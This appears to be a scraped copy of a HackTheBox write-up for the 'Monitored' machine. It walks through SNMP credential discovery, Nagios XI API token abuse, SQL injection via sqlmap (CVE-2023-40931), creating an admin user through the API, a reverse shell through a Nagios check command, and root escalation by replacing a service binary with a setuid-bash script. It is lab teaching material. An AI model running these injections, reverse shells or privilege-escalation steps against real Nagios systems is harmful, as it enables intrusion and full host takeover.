0% found this document useful (0 votes)
41 views31 pages

HTB Monitored

The document describes a penetration test of the HackTheBox machine Monitored. It involves recon of open ports and services using nmap and snmpwalk, finding initial credentials in SNMP output, abusing the Nagios XI API to escalate privileges, and obtaining root access by exploiting sudo privileges granted to the nagios user.

Uploaded by

lolkek0001
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
41 views31 pages

HTB Monitored

The document describes a penetration test of the HackTheBox machine Monitored. It involves recon of open ports and services using nmap and snmpwalk, finding initial credentials in SNMP output, abusing the Nagios XI API to escalate privileges, and obtaining root access by exploiting sudo privileges granted to the nagios user.

Uploaded by

lolkek0001
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 31

0xdf hacks stuff Home About Me Tags YouTube Gitlab feed

HTB: Monitored
🏷 hackthebox htb-monitored
feroxbuster burp burp-repeater
ctf nmap nagios nagiosxi ldapsearch snmpwalk
cve-2023-40931 sqli sqlmap symbolic-link
nagios-api api-fuzz

May 11, 2024

HTB: Monitored Monitored is all about a Nagios XI


monitoring system. I’ll abuse it over
Box Info
and over to slowly escalate privileges
Recon ending up at root. I’ll find initial creds
Shell as nagios from SNMP, but the account is
Shell as root disabled. I’ll abuse the API to get a
token that provides authentication to
the site. From there I’ll exploit a SQL injection to get the administrator’s
API key. With that key, I’ll add a new admin user, and get admin access
to the site. From there, I’ll create a command that runs on the host to
get a shell. To escalate to root, I’ll show two ways to abuse sudo
privileges that Nagios gives the nagios user.

Box Info

Name Monitored
Play on HackTheBox

Release Date 13 Jan 2024

Retire Date 11 May 2024

OS Linux

Base Points Medium [30]

Rated
Difficulty
Name Monitored
Play on HackTheBox

Radar Graph

04:26:35

05:10:33

Creators

Recon
nmap
nmap finds five open TCP ports, SSH (22), HTTP (80), LDAP (389), HTTPS
(443), and something unknown on 5667:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.248


Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-08 15:35 E
Nmap scan report for 10.10.11.248
Host is up (0.087s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
443/tcp open https
5667/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds


oxdf@hacky$ nmap -p 22,80,389,443,5667 -sCV 10.10.11.248
Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-08 15:35 E
Nmap scan report for 10.10.11.248
Host is up (0.087s latency).

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (pro
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monit
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organiza
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
| tls-alpn:
|_ http/1.1
5667/tcp open tcpwrapped
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe

Service detection performed. Please report any incorrect resu


Nmap done: 1 IP address (1 host up) scanned in 18.94 seconds

Based on the OpenSSH version, the host is likely running Debian 11


bullseye. The Apache version isn’t an exact match for any, as it’s been
upgraded for security vulnerabilities to across all distros to 2.4.59.

There’s a TLS certificate with the common name of


nagios.monitored.htb on HTTPS on TCP 443, and a hostname of the
same. Given the use of domain name, I’ll fuzz subdomains of
monitored.htb on both 80 and 443, but only find the redirect on 80 to
nagios .
Monitored also has two open UDP ports:

oxdf@hacky$ nmap -sU -p- --min-rate 10000 --open 10.10.11.248


Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-08 16:02 E
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.088s latency).
Not shown: 65455 open|filtered ports, 78 closed ports
PORT STATE SERVICE
123/udp open ntp
161/udp open snmp

Nmap done: 1 IP address (1 host up) scanned in 72.94 seconds

NTP will be useful if I need to sync clocks. I’ll want to enumerate SNMP
as well.

Nagios - TCP 443


The site is an instance of Nagios, an open source monitoring solution:

The “Access Nagios XI” leads to a login page at /nagiosxi/login.php :


Without creds or a vuln, this is a bit of a dead end.

As far as the tech stack, I know it’s Nagios, and that the site is PHP-
based. I can’t find a version number, other than the copyright says
2008-2024. I won’t bother yet with a directory brute force, as it is public
software.

LDAP - TCP 389


ldapsearch will fetch the base domain:

oxdf@hacky$ ldapsearch -H ldap://monitored.htb -x -s base nam


# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingContexts: dc=monitored,dc=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

I can try to dump more, and it returns something, but not much:

oxdf@hacky$ ldapsearch -H ldap://monitored.htb -x -b "dc=moni


# extended LDIF
#
# LDAPv3
# base <dc=monitored,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# monitored.htb
dn: dc=monitored,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: monitored.htb
dc: monitored

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Unknown - TCP 5667


I’ll try to connect to the unknown port using curl :

oxdf@hacky$ curl monitored.htb:5667


curl: (56) Recv failure: Connection reset by peer

It fails. nc doesn’t work either. It just hangs, and when I type anything,
it exits.

SNMP - UDP 161


A quick check using the “public” community string seems to work, so I’ll
dump the full set of data into a file:
oxdf@hacky$ snmpwalk -v 2c -c public monitored.htb | tee snmp
SNMPv2-MIB::sysDescr.0 = STRING: Linux monitored 5.10.0-28-am
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOI
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (345329) 0:5
SNMPv2-MIB::sysContact.0 = STRING: Me <[email protected]>
SNMPv2-MIB::sysName.0 = STRING: monitored
SNMPv2-MIB::sysLocation.0 = STRING: Sitting on the Dock of th
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1579) 0:00:15.79
...[snip]...

There’s a ton of potentially interesting data in SNMP. One thing to


always check out is the running processes and their command lines.
Process 1312 in my collection (will be different in others) is a sudo
process:

oxdf@hacky$ grep "\.1312 = " snmp_data


HOST-RESOURCES-MIB::hrSWRunIndex.1312 = INTEGER: 1312
HOST-RESOURCES-MIB::hrSWRunName.1312 = STRING: "sudo"
HOST-RESOURCES-MIB::hrSWRunID.1312 = OID: SNMPv2-SMI::zeroDot
HOST-RESOURCES-MIB::hrSWRunPath.1312 = STRING: "sudo"
HOST-RESOURCES-MIB::hrSWRunParameters.1312 = STRING: "-u svc
HOST-RESOURCES-MIB::hrSWRunType.1312 = INTEGER: application(4
HOST-RESOURCES-MIB::hrSWRunStatus.1312 = INTEGER: runnable(2)
HOST-RESOURCES-MIB::hrSWRunPerfCPU.1312 = INTEGER: 0
HOST-RESOURCES-MIB::hrSWRunPerfMem.1312 = INTEGER: 5132 KByte

It’s running check_host.sh with what could be a username (svc) and a


password (“XjH7VCehowpR1xZB”).

Shell as nagios
Validate Credentials
Using the creds from SNMP on the Nagios login shows a failure
message:

It’s interesting, as if I put in svc and a different password, the error


message is different:
Same if I do another username:

That suggests that these creds are good, but that the account has been
disabled.

Get Auth Token


API Documentation

The documentation of the Nagios API is incredibly limited. This PDF


document give some overview of what it looks like, but not much. One
thing I can get from that document is that the API like likely located at
/nagiosxi/api/v1 , and that I need an API key as a GET parameter:

After thinking this would be easily documented, I’ll give up and start
fuzzing.

Manual Fuzzing

I’ll get a request going in Burp Repeater and poke at the API manually a
bit. If I try /nagiosxi/api , it returns a 301 to /nagiosxi/api/ :

If I try /nagiosxi/api/ , it returns 403:

If I try /nagiosxi/0xdf , it returns 404:

That suggests that /nagiosxi/api is a good path. The behavior adding


v1 to the end (like the doc says) is the same.

Feroxbuster

I’ll use feroxbuster to brute force the API. I’ll use the -m GET,POST
option to try both GET and POST requests, and -k to accept the invalid
TLS certificate. I’m starting at /nagiosxi/api , and it finds v1 quickly
(as well as includes ):

oxdf@hacky$ feroxbuster -u https://nagios.monitored.htb/nagio

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://nagios.monitored.htb/na
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/W
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.t
🏁 HTTP methods │ [GET, POST]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/ferox
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 283c Auto-filtering fou
403 GET 9l 28w 286c Auto-filtering fou
403 POST 9l 28w 286c Auto-filtering fou
404 POST 9l 31w 283c Auto-filtering fou
301 GET 9l 28w 337c https://nagios.mon
301 GET 9l 28w 346c https://nagios.mon
301 POST 9l 28w 337c https://nagios.mon
301 POST 9l 28w 346c https://nagios.mon
301 GET 9l 28w 340c https://nagios.mon
301 POST 9l 28w 340c https://nagios.mon
200 GET 1l 4w 32c Auto-filtering fou
200 POST 1l 4w 32c Auto-filtering fou
200 GET 1l 7w 53c https://nagios.mon
200 POST 1l 6w 49c https://nagios.mon
[####################] - 29m 180000/180000 0s found:8
[####################] - 50s 60000/60000 1311/s https:/
[####################] - 47s 60000/60000 1367/s https:/
[####################] - 28m 60000/60000 34/s https:/

The /nagiosxi/api/v1/authenticate GET and POST endpoints jump


out as interesting! It also seemed to be generating a ton of errors at the
end, suggesting maybe there could be more that’s not showing up.

Finding Parameters

If I try a GET request, it returns an error:

Simple enough, I’ll switch the verb to POST:


It wants a username and password. I’ll try those as parameters:

Perfect. I got a token that says it’s good for 5 minutes.

Access Nagios
apikey Fail

Following what I learned from the documentation above, I’ll try to visit
nagiosxi/api/v1/system/status with an apikey GET parameter.
Even on a fresh request of a new API key to make sure it’s not expired, it
returns invalid:

More Research

To figure out how to use the token provided by the authenticate


endpoint, I’ll search for it:

The first result is this 2020 forum post with this in the first answer:

It’s using token as the parameter that follows with the result. It also
uses a valid_min POST parameter along side the username and
password to set the validity time. Adding this does get the server to
return that it has a longer validity time, but it still seems to expire
quickly.

token Parameter

If I try changing apikey to token on the same endpoint, it still fails:

If I try the endpoint in the forum post, it seems to work:

Interestingly, it’s returning a PNG image.

Load Main Page

I’ll notice that the path in the successful token auth isn’t in the /api/
part of the server. Could this work on the main page? I’ll try visiting
/nagiosxi/?token=[token] :

Not only does it work, but it seems to validate my cookie so that I don’t
need to keep it in the URL to visit other pages.

Admin Nagios API Access


Enumerate Nagios

On logging in, the footer now has the full version:

Going to the account settings, I’ll find the API key for the svc user:

There’s not much else of interest on the pages of the site.

CVE-2023-40931 Background

Searching for vulnerabilities, there are many references to a SQL


injection vulnerability, CVE-2023-40931:

Many of these are 7 months old, which means they were out before
Monitored was released, so I consider them in bounds for solving. CVE-
2023-40931 is a:

SQL injection vulnerability in Nagios XI from version 5.11.0 up to and


including 5.11.1 allows authenticated attackers to execute arbitrary
SQL commands via the ID parameter in the POST request to
/nagiosxi/admin/banner_message-ajaxhelper.php

The team at Output24 that found this vuln (and three others)
documented a bit more about them in this post:

When a user acknowledges a banner, a POST request is sent to


/nagiosxi/admin/banner_message-ajaxhelper.php with the POST data
consisting of the intended action and message ID –
action=acknowledge banner message&id=3 .

The ID parameter is assumed to be trusted but comes directly from


the client without sanitization. This leads to a SQL Injection where an
authenticated user with low or no privileges can retrieve sensitive data,
such as from the xi_session and xi_users table containing data
such as emails, usernames, hashed passwords, API tokens, and
backend tickets.
This vulnerability does not require the existence of a valid
announcement banner ID, meaning it can be exploited by an attacker
at any time.

SQLI POC

I’ll try to build the same request described here. I always try to remove
unnecessary headers, leaving this request:

That seems to be working. I’ll try an SQL injection:

sqlmap

Typically I like to show manually doing the injection, but the database
here is large, so I’ll go right to sqlmap . For some reason this was a bit
tricky to get working with sqlmap . What eventually works for me is
building the command based on the advisory:

oxdf@hacky$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/


...[snip]...
POST parameter 'id' is vulnerable. Do you want to keep testi
sqlmap identified the following injection point(s) with a tot
---
Parameter: id (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original
Payload: id=(SELECT (CASE WHEN (8029=8029) THEN 3 ELSE (S

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER
Payload: id=3 OR (SELECT 7131 FROM(SELECT COUNT(*),CONCAT

Type: time-based blind


Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3 AND (SELECT 4440 FROM (SELECT(SLEEP(5)))LDB
---
...[snip]...

Database Enumeration

From here I can enumerate the database. There are two DBs:
oxdf@hacky$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/
...[snip]...
available databases [2]:
[*] information_schema
[*] nagiosxi
...[snip]...

The interesting one is nagiosxi , which has 22 tables:

oxdf@hacky$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/


...[snip]...
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog |
| xi_auth_tokens |
| xi_banner_messages |
| xi_cmp_ccm_backups |
| xi_cmp_favorites |
| xi_cmp_nagiosbpi_backups |
| xi_cmp_scheduledreports_log |
| xi_cmp_trapdata |
| xi_cmp_trapdata_log |
| xi_commands |
| xi_deploy_agents |
| xi_deploy_jobs |
| xi_eventqueue |
| xi_events |
| xi_link_users_messages |
| xi_meta |
| xi_mibs |
| xi_options |
| xi_sessions |
| xi_sysstat |
| xi_usermeta |
| xi_users |
+-----------------------------+
...[snip]...

I’ll dump the xi_users table:


oxdf@hacky$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/
...[snip]...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+-----
| user_id | email | name | api_
+---------+---------------------+----------------------+-----
| 1 | [email protected] | Nagios Administrator | IudG
| 2 | [email protected] | svc | 2huu
+---------+---------------------+----------------------+-----

There’s two users, svc and admin. Neither hash cracks in hashcat with
rockyou.txt . But there is an API key for each user as well.

Admin API POC

I’ll go back to the original API example from the PDF above, and with
admin’s API key it works!

oxdf@hacky$ curl "https://nagios.monitored.htb/nagiosxi/api/v


{
"instance_id": "1",
"instance_name": "unassigned",
"status_update_time": "2024-05-09 06:49:11",
"program_start_time": "2024-05-08 15:27:26",
"program_run_time": "55305",
"program_end_time": "1970-01-01 00:00:01",
"is_currently_running": "1",
"process_id": "909",
"daemon_mode": "1",
"last_command_check": "1969-12-31 19:00:00",

Admin Nagios Access


Fuzzing

I’ll go back to the API and fuzz it some more, this time passing the api
token. The webserver is pretty slow, so I’m going to use a smaller API
focused wordlist:
oxdf@hacky$ feroxbuster -u https://nagios.monitored.htb/nagio

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://nagios.monitored.htb/na
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Con
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.t
🤔 Query Parameter │ apikey=IudGPHd9pEKiee9MkJ7ggPD8
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/ferox
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 3w -c Auto-filtering fou
200 GET 1l 4w 32c https://nagios.mon
301 GET 9l 28w 412c https://nagios.mon
200 GET 1l 3w 34c https://nagios.mon
404 GET 1l 4w 24c https://nagios.mon
200 GET 1l 3w 34c https://nagios.mon
200 GET 1l 3w 34c https://nagios.mon
200 GET 1l 7w 54c https://nagios.mon
200 GET 1l 7w 54c https://nagios.mon
[####################] - 2m 3133/3133 0s found:8
[####################] - 2m 3133/3133 22/s https:/

Unlike api and v1 the redirected to api/ and v1/ , here endpoints
that are paths but not specific endpoints return 200. For example,
system :

This means feroxbuster doesn’t automatically start busting inside


those, so I’ll have to do it manually.

I don’t find anything in user or User , but in system , I’ll find a couple
interesting looking endpoints:
oxdf@hacky$ feroxbuster -u https://nagios.monitored.htb/nagio

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://nagios.monitored.htb/na
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Con
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.t
🤔 Query Parameter │ apikey=IudGPHd9pEKiee9MkJ7ggPD8
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/ferox
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 3w 34c Auto-filtering fou
200 GET 1l 113w 6155c https://nagios.mon
200 GET 1l 1w 125c https://nagios.mon
200 GET 1l 6w 835c https://nagios.mon
200 GET 1l 2w 227c https://nagios.mon
[####################] - 2m 3133/3133 0s found:4
[####################] - 2m 3133/3133 22/s https:/

command

command seemed the most interesting. As a GET, it returns a list of


commands:

oxdf@hacky$ curl -k 'https://nagios.monitored.htb/nagiosxi/ap


[
{
"command_id": "40",
"submitter_id": "1",
"command": "1132",
"submission_time": "2023-11-10 14:17:36",
"event_time": "2023-11-10 14:17:36",
"processing_time": "2023-11-10 14:17:37",
"status_code": "1",
"result_code": "0",
"result": null

Unfortunately, POST and PUT don’t do anything:

oxdf@hacky$ curl -X POST -k 'https://nagios.monitored.htb/nag


{"error":"Unknown API endpoint."}
oxdf@hacky$ curl -X PUT -k 'https://nagios.monitored.htb/nagi
{"info":"This section has not yet been implemented."}

User

Sending a GET to user returns information about the two users:

oxdf@hacky$ curl -k 'https://nagios.monitored.htb/nagiosxi/ap


{
"records": 2,
"users": [
{
"user_id": "2",
"username": "svc",
"name": "svc",
"email": "[email protected]",
"enabled": "0"
},
{
"user_id": "1",
"username": "nagiosadmin",
"name": "Nagios Administrator",
"email": "[email protected]",
"enabled": "1"
}
]
}

Trying as a POST is promising:

oxdf@hacky$ curl -X POST -k 'https://nagios.monitored.htb/nag


{
"error": "Could not create user. Missing required fields.",
"missing": [
"username",
"email",
"name",
"password"
]
}

I can create a new user, but how does that help advance my access?
Searching for this endpoint returns a very old exploit:

This exploit won’t work here, but it does show using this endpoint with
the following data:

auth_level admin is interesting. auth_level also shows up in this


forum post:

I don’t yet have admin access to the site, just the API, so I’ll try to create
an admin user I can authenticate as.

Create User and Log In

I’ll try it with the parameters above:

oxdf@hacky$ curl -d "username=0xdf&password=0xdf0xdf&name=0xd


{"success":"User account 0xdf was added successfully!","user_

The user is created. I’ll try logging into the site. It returns a License
Agreement:

Once I check and submit, I’m in as an admin user:

Shell
Enumeration

There’s a ton to look at as an admin user. One interesting menu is under


Configure -> Core Config Manager:
I’ll click on “Commands”:

Click for full size image

These look like shell commands!

Execution

I’ll click “Add new +” and give it a bash reverse shell:

There’s nothing really to run the command here. Back on the Core
Config page, I’ll go to “Hosts”:

Clicking on localhost brings up it’s page:

There’s a “Check command” dropdown, which I’ll set to “0xdf shell”, and
now a “Run Check Command” button appears:

I’ll click it (and the next button in the popup), and it hangs, but there’s a
shell at nc :
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.248 53976
bash: cannot set terminal process group (61550): Inappropriat
bash: no job control in this shell
nagios@monitored:~$

I’ll upgrade my shell using the standard trick:

nagios@monitored:~$ script /dev/null -c bash


script /dev/null -c bash
Script started, output log file is '/dev/null'.
nagios@monitored:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
nagios@monitored:~$

And grab the user flag:

nagios@monitored:~$ cat user.txt


a81be4e9************************

Shell as root
Enumeration
sudo

sudo -l shows that the nagios user has 21 commands they can run as
root:

nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/components/autodiscover_n
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/g
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_l
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timez
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_servi
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_c
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh

Triage sudo Commands

The first 11 commands are from /etc/init.d for the nagios and
npcd binaries. Neither of these binaries are present on Monitored:

nagios@monitored:~$ ls /etc/init.d/
anacron cron networking shelli
apache2 dbus ntp slapd
apache-htcacheclean exim4 open-vm-tools snmpd
apparmor hwclock.sh postgresql snmptr
auditd keyboard-setup.sh procps snmptt
bluetooth kmod rsync ssh
console-setup.sh mariadb rsyslog sudo

That suggests these sudo rules were installed by Nagios to handle


different systems that may be configured differently.

Next I’ll review each script and think about ways I might abuse it. I
suspect there are many ways to abuse these scripts to get execution as
root. I’ll show two:

intended
Shell as nagios
unintended

Overwrite and restart Leak root SSH key


nagios service with getprofile.sh

Shell as root

Nagios Service
manage_services.sh

On of the commands that nagios can run as root is


manage_services.sh . At the top of the script, it defines two lists:

# Things you can do


first=("start" "stop" "restart" "status" "reload" "checkconf
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npc

The first arg is saved as action , and the second as service :

action=$1

# if service name is defined in xi-sys.cfg use that name


# else use name passed
if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then
service=${!2}
else
service=$2
fi

It validates that action is in first and service is in second , and


then if so, runs systemctl or service :
# Ubuntu / Debian

if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; t


# Adjust the shellinabox service, no trailing 'd' in Deb
if [ "$service" == "shellinaboxd" ]; then
service="shellinabox"
fi

if [ `command -v systemctl` ]; then


`which systemctl` --no-pager "$action" "$service" $a
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi

Permissions

Script like LinPEAS will check these services for dangerous permissions,
but it’s more fun to do it on my own. I’ll start a bash loop to check for
all these services:

nagios@monitored:~$ for service in "postgresql" "httpd" "mysq


/etc/systemd/system/multi-user.target.wants/postgresql.servic
/etc/systemd/system/multi-user.target.wants/nagios.service
/etc/systemd/system/multi-user.target.wants/npcd.service
/etc/systemd/system/npcd.service
/etc/systemd/system/multi-user.target.wants/snmptt.service
/etc/systemd/system/multi-user.target.wants/snmptrapd.service

There are six installed. I’ll loop those into a command that reads the
service file, grep for any line with Exec , and then get the binary called
there. Then I’ll run ls -l on that binary:

nagios@monitored:~$ for service in "postgresql" "httpd" "mysq


ls: cannot access '#': No such file or directory
-rwxrwxr-- 1 nagios nagios 717648 Nov 9 10:40 /usr/local/nag
-rwxr-xr-- 1 nagios nagios 31584 Nov 9 10:42 /usr/local/nagi
-rwxr-xr-x 1 root root 182238 Jul 23 2020 /usr/sbin/snmptt
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /usr/bin/kill
-rwxr-xr-x 1 root root 34840 Aug 15 2022 /usr/sbin/snmptrapd
-rwxr-xr-x 1 root root 39680 Sep 24 2020 /bin/true
-rwxr-xr-x 1 root root 43808 Sep 24 2020 /bin/sleep
-rwxr-xr-x 1 root root 72704 Sep 24 2020 /usr/bin/rm

The top two are interesting! They are both owned by the nagios user!

Execute

I’ll save a copy of the nagios binary:

nagios@monitored:/usr/local/nagios/bin$ mv nagios nagios.bk

I’ll write a simple bash script to /tmp/x.sh :

#!/bin/bash

cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 6777 /tmp/0xdf

I’ll copy that to nagios , and set the permissions so that it’s executable:

nagios@monitored:/usr/local/nagios/bin$ cp /tmp/x.sh nagios


nagios@monitored:/usr/local/nagios/bin$ chmod +x nagios

Now I’ll restart the service:

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagio


Job for nagios.service failed because the control process exi
See "systemctl status nagios.service" and "journalctl -xe" fo

It fails because this is not a valid service, but it still ran:

nagios@monitored:/usr/local/nagios/bin$ ls -la /tmp/0xdf


-rwsrwsrwx 1 root root 1234376 May 9 08:33 /tmp/0xdf
I’ll run with -p to keep privs and get a shell as root:

nagios@monitored:/usr/local/nagios/bin$ /tmp/0xdf -p
0xdf-5.1#

And read the root flag:

0xdf-5.1# cat root.txt


74cc1c60************************

getprofile.sh
Understanding the Script

The script takes an “id” or folder name:

# GRAB THE ID
folder=$1
if [ "$folder" == "" ]; then
echo "You must enter a folder name/id to generate a prof
echo "Example: ./getprofile.sh <id>"
exit 1
fi

It strips that of any non-alphanumeric characters and then creates a


folder structure:

# Make a clean folder (but save profile.html)


rm -rf "/usr/local/nagiosxi/var/components/profile/$folder/"
mkdir "/usr/local/nagiosxi/var/components/profile/$folder/"
mv -f "/usr/local/nagiosxi/tmp/profile-$folder.html" "/usr/l

# Create the folder setup


mkdir -p "/usr/local/nagiosxi/var/components/profile/$folder
mkdir -p "/usr/local/nagiosxi/var/components/profile/$folder
mkdir -p "/usr/local/nagiosxi/var/components/profile/$folder

The rest of the script is running tail on various files and saving the
output in the new folder structure. For example:
echo "Creating eventman.txt..."
tail -n500 /usr/local/nagiosxi/var/eventman.log > "/usr/loca

echo "Creating perfdataproc.txt..."


tail -n500 /usr/local/nagiosxi/var/perfdataproc.log > "/usr/

echo "Creating sysstat.txt..."


tail -n500 /usr/local/nagiosxi/var/sysstat.log > "/usr/local

Sometimes it checks if the file exists:

echo "Creating systemlog.txt..."


if [ -f /var/log/messages ]; then
/usr/bin/tail -n1000 /var/log/messages > "/usr/local/nag
elif [ -f /var/log/syslog ]; then
/usr/bin/tail -n1000 /var/log/syslog > "/usr/local/nagio
fi

echo "Retrieving all snmp logs..."


if [ -f /var/log/snmptrapd.log ]; then
/usr/bin/tail -n1000 /var/log/snmptrapd.log > "/usr/loca
fi

I’ll use grep to look at all the files that are passed to tail :

nagios@monitored:~$ cat /usr/local/nagiosxi/scripts/component


tail -n500 "$nagios_log_file" &> "/usr/local/nagiosxi/var/com
tail -n500 "$perfdata_log_file" &> "/usr/local/nagiosxi/var/c
tail -n500 "$npcd_log_file" &> "/usr/local/nagiosxi/var/compo
tail -n500 /usr/local/nagiosxi/var/cmdsubsys.log > "/usr/loca
tail -n500 /usr/local/nagiosxi/var/event_handler.log > "/usr/
tail -n500 /usr/local/nagiosxi/var/eventman.log > "/usr/local
